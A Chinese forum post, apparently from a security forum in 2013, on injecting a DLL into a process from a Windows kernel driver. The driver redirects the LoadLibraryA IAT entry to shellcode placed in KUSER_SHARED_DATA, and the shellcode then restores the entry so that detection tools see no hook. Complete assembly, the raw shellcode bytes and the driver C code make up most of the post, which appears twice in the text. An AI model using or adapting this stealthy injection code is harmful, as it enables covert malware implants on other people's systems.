首页 > 代码库 > 【原创】内核ShellCode注入的一种方法
【原创】内核ShellCode注入的一种方法
标 题: 【原创】内核ShellCode注入的一种方法
作 者: organic
时 间: 2013-05-04,04:34:08
链 接: http://bbs.pediy.com/showthread.php?t=170959
最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下
一、先写一段shellcode
主要思路是:
1、 程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、 Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、 通过PEB找到kernel32.dll基地址
4、 调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、 调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、 跳转回LoadLibraryA继续执行
代码:
最后生成的shellcode如下:
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00
二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导
借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。
代码:
接下来就是搜索我们要注入的进程的IAT,找到LoadLibraryA的地址和IAT地址
代码:
然后注入我们的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之终极打造》中只Hook了GetProcAddress,未对其写回,所以只修改了shellcode中GetProcAddress的地址,由于我们内核注入Dll为了隐蔽,不能让工具或程序检测到我们IAT注入,所以我们这里也要将LoadLibraryA的IAT地址写入shellcode,再由shellcode将注入进程的IAT恢复,这样进程运行起来后就不知道被注入过了。
代码
最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
程序运行效果如下:
未注入前按下Test按钮:
注入后按下Test按钮:
最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下
源码和测试程序:源码和测试程序.zip.
测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮*转载请注明来自看雪论坛@PEdiy.com
作 者: organic
时 间: 2013-05-04,04:34:08
链 接: http://bbs.pediy.com/showthread.php?t=170959
最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下
一、先写一段shellcode
主要思路是:
1、 程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、 Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、 通过PEB找到kernel32.dll基地址
4、 调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、 调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、 跳转回LoadLibraryA继续执行
代码:
代码:
jmp ShellCodeStart Addr_IAT_LoadLibraryA dd 402000h ;LoadLibraryA在IAT中的地址,由注入函数写入 Addr_LoadLibraryA dd 7C801D77h ;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处 Addr_VirtualProtectName db "VirtualProtect",0 ;VirtualProtect名称的地址 Addr_LoadDllName db "InputDll.dll",0 ShellCodeStart: push ebx push ecx push edx push esi push edi push ebp xor ecx, ecx ;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢 assume fs:nothing mov esi, fs:[30h] ;取PEB mov esi, [esi+0Ch] mov esi, [esi+1Ch] InInitializationOrderModuleList: mov eax, ds:[esi+8] mov edi, ds:[esi+20h] mov esi, ds:[esi] cmp WORD ptr ds:[edi+18h],cx jnz InInitializationOrderModuleList push ebp call RelocLocation ;push eip,eip = 新RelocLocation的地址 RelocLocation: pop ebp ;将eip出栈给ebp,ebp = 新RelocLocation的地址 sub ebp, offset RelocLocation ;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp mov ecx, ebp ;取Addr_VirtualProtectName重定位后的地址并压栈 add ecx, offset Addr_VirtualProtectName invoke GetAPI, eax, ecx, 14 ;调用GetAPI获取VirtualProtect的地址 mov ebx, eax ;将获取的地址放入ebx中 mov eax, ebp ;取Addr_LoadDllName重定位后的地址并压栈 add eax, offset Addr_LoadDllName push eax lea esi, [ebp + Addr_LoadLibraryA] ;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA call DWORD ptr [esi] ;API为stdcall调用,自平衡堆栈 mov edi, [ebp + Addr_IAT_LoadLibraryA] ;取LoadLibraryA在IAT的地址 push eax ;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回 push esp ;调用VirtualProtect修改IAT的写保护 push PAGE_READWRITE push 4 push edi call ebx pop eax mov eax, [esi] ;[esi] = LoadLibraryA的地址 mov [edi], eax ;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址 pop ebp ;平衡 pop ebp pop edi pop esi pop edx pop ecx pop ebx jmp eax ;跳转至LoadLibraryA继续执行 GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD local @SizeOfFNT:DWORD local @APIAddr:DWORD pushad mov ebx, _Kernel32Base assume ebx:ptr IMAGE_DOS_HEADER add ebx, [ebx].e_lfanew ;取PE的首地址,即PE标志位 assume ebx:ptr IMAGE_NT_HEADERS mov ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress add ebx, _Kernel32Base assume ebx:ptr IMAGE_EXPORT_DIRECTORY mov eax, [ebx].NumberOfNames ;将函数总数乘以4,得FNT表大小 shl eax, 2 mov @SizeOfFNT, eax mov edi, [ebx].AddressOfNames ;获取输出表API名称查询表(FNT)RVA add edi, _Kernel32Base ;获取输出表API名称查询表(FNT)内存地址 mov esi, _szAPIName mov ecx, _APINameLength xor edx, edx xor eax, eax ;eax置0 .while edx < @SizeOfFNT ;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环 push ecx ;保存字符串长度 push edi ;保存edi,比较API名称 push esi mov edi, [edi] ;取API名称的RVA add edi, _Kernel32Base ;取API名称的内存地址 cld repe cmpsb pop esi ;将esi重新指向_szAPIName首地址 pop edi pop ecx jnz FAA_FindExportAPIAddr_NoFind ;如果ecx=0,说明函数字符全部相同 mov eax, [ebx].AddressOfFunctions ;取FAT表RVA add eax, _Kernel32Base ;取FAT表RVA内存地址 add eax, edx ;取查找函数FAT表项的地址 mov eax, [eax] ;取查找函数的RVA add eax, _Kernel32Base ;取查找函数的内存地址 mov @APIAddr, eax .break ;找到则退出循环 FAA_FindExportAPIAddr_NoFind: add edx, 4 ;计数+4指向下一个FNT表项 add edi, 4 ;edi指向下一个FNT表项 .endw assume ebx:nothing popad mov eax, @APIAddr ret
0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00
二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导
借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。
代码:
代码:
//名称:HookIAT //功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址 //参数1:_ProcessID= 加载进程的PID //返回:成功则返回TURE,否则返回FALSE BOOL HookIAT(IN HANDLE _ProcessID, IN PUNICODE_STRING _FullImageName) { PEPROCESS pEProcess; PVOID hModule, pHookAPIAddr; BOOL HookIAT_Ret = FALSE; if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS) { if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE)) { KdPrint(("加载Dll=%wZ\n", _FullImageName)); //KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID)); //KdPrint(("pEProcess=%x\n", (ULONG)pEProcess)); KdPrint(("进程名称=%s\n", pEProcess->ImageFileName)); hModule = pEProcess->SectionBaseAddress; //KdPrint(("基地址=%x\n", (DWORD)hModule)); KeAttachProcess(pEProcess); //切换至ring3空间 pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME); if (pHookAPIAddr) { if(InjectCode(pHookAPIAddr)) { staHookFlag = TRUE; KdPrint(("ShellCode注入成功")); //UnInjectDll(); } else { KdPrint(("ShellCode注入失败")); } } else { KdPrint(("%s函数的IAT地址未找到\n", HOOKAPINAME)); } KeDetachProcess(); } } return HookIAT_Ret; }
代码:
代码:
//名称:FindIATAddr //功能:寻找指定导入表函数名称的IAT地址 //参数1:pMapView = 模块的映射基址 //参数2:pszDllName = Dll名称 //参数3:pszAPIName = 函数名称 //返回:成功则返回函数在导入表的地址,否则返回NULL PVOID FindIATAddr(PVOID _pMapView, PCHAR _pszDllName , PCHAR _pszAPIName) { DWORD RVA_ImportDirectory; DWORD DllNum, i, index; PVOID pDllName; PWORD pIAT, pINT; PIMAGE_IMPORT_BY_NAME pAPIName; IMAGE_DOS_HEADER *pImg_DosHeader; IMAGE_NT_HEADERS *pImg_NtHeader; PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory; pImg_DosHeader = _pMapView; (ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew; if (pImg_NtHeader->Signature != 0x4550) //判断是否为标准PE文件 { KdPrint(("该文件不是标准PE文件\n")); return NULL; } RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ; DllNum --; if (RVA_ImportDirectory ==0) { KdPrint(("该程序没有输入表\n")); return NULL; } KdPrint(("Dll数目=%d \n", DllNum)); (DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory; for (i=0; i<DllNum ; i++) { (DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView; //KdPrint(("Dll名称为%s: \n", pDllName)); if(VK_CmpString(pDllName, _pszDllName)) { KdPrint(("%s已找到, i=%d \n", pDllName, i)); (DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR); (DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk; (DWORD)pINT = (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk; for (index =0; pIAT[index] != 0; index++) { if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG) //IMAGE_ORDINAL_FLAG =0x80000000,即当INT最高位为0时表示已函数名导入 { (DWORD)pAPIName = (DWORD)_pMapView + pINT[index]; //KdPrint(("API名称为%s: \n", pAPIName->Name)); if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName)) { KdPrint(("%s函数已找到,IAT地址 =%x \n", pAPIName, &pIAT[index] )); return &pIAT[index]; } } } } } return NULL; }
代码
代码:
//名称:InjectCode //功能:注入代码 //参数1:_pIATAddr = 函数在导入表的地址,将此处改写为我们注入代码的地址 //返回:成功则返回STATUS_SUCCESS,否则返回STATUS_UNSUCCESSFUL BOOL InjectCode(PVOID _pIATAddr) { PMDL pMDL; PDWORD pHookAddr; DWORD Addr_sharedM = 0x7ffe0800; //KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移 DWORD Addr_sharedK = 0xffdf0800; //KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移 unsigned char Shellcode[] = { 0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C ,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E ,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E ,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50 ,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08 ,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2 ,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45 ,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 }; KdPrint(("_pIATAddr = %x\n", (DWORD)_pIATAddr )); pMDL = MmCreateMdl(NULL, _pIATAddr, 4); if (!pMDL) { KdPrint(("创建MDL失败\n")); return FALSE; } MmBuildMdlForNonPagedPool(pMDL); pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; pHookAddr = MmMapLockedPages(pMDL, KernelMode); //_asm int 3 RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249); _asm //将LoadLibraryA输出表地址地址和LoadLibraryA地址写入ShellCode中 { pushad mov eax, _pIATAddr mov edx, Addr_sharedK add edx, 2 mov [edx], eax mov eax, [eax] add edx, 4 mov [edx], eax popad } //RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4); *pHookAddr = Addr_sharedM; //将LoadLibraryA输出表地址改为0x7ffe0800(ShellCode地址) MmUnmapLockedPages(pHookAddr, pMDL); IoFreeMdl(pMDL); return TRUE; }
最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
代码:
//名称:UnInjectDll //功能:PsSetLoadImageNotifyRoutine的回调函数, //参数1:无 //返回:无 NTSTATUS UnInjectDll() { NTSTATUS RetStatus; RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines); if (RetStatus == STATUS_SUCCESS) { KdPrint(("回调函数已解除\n")); } return RetStatus; }
未注入前按下Test按钮:
注入后按下Test按钮:
最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下
源码和测试程序:源码和测试程序.zip.
测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮*转载请注明来自看雪论坛@PEdiy.com
jpg改rar
【原创】内核ShellCode注入的一种方法
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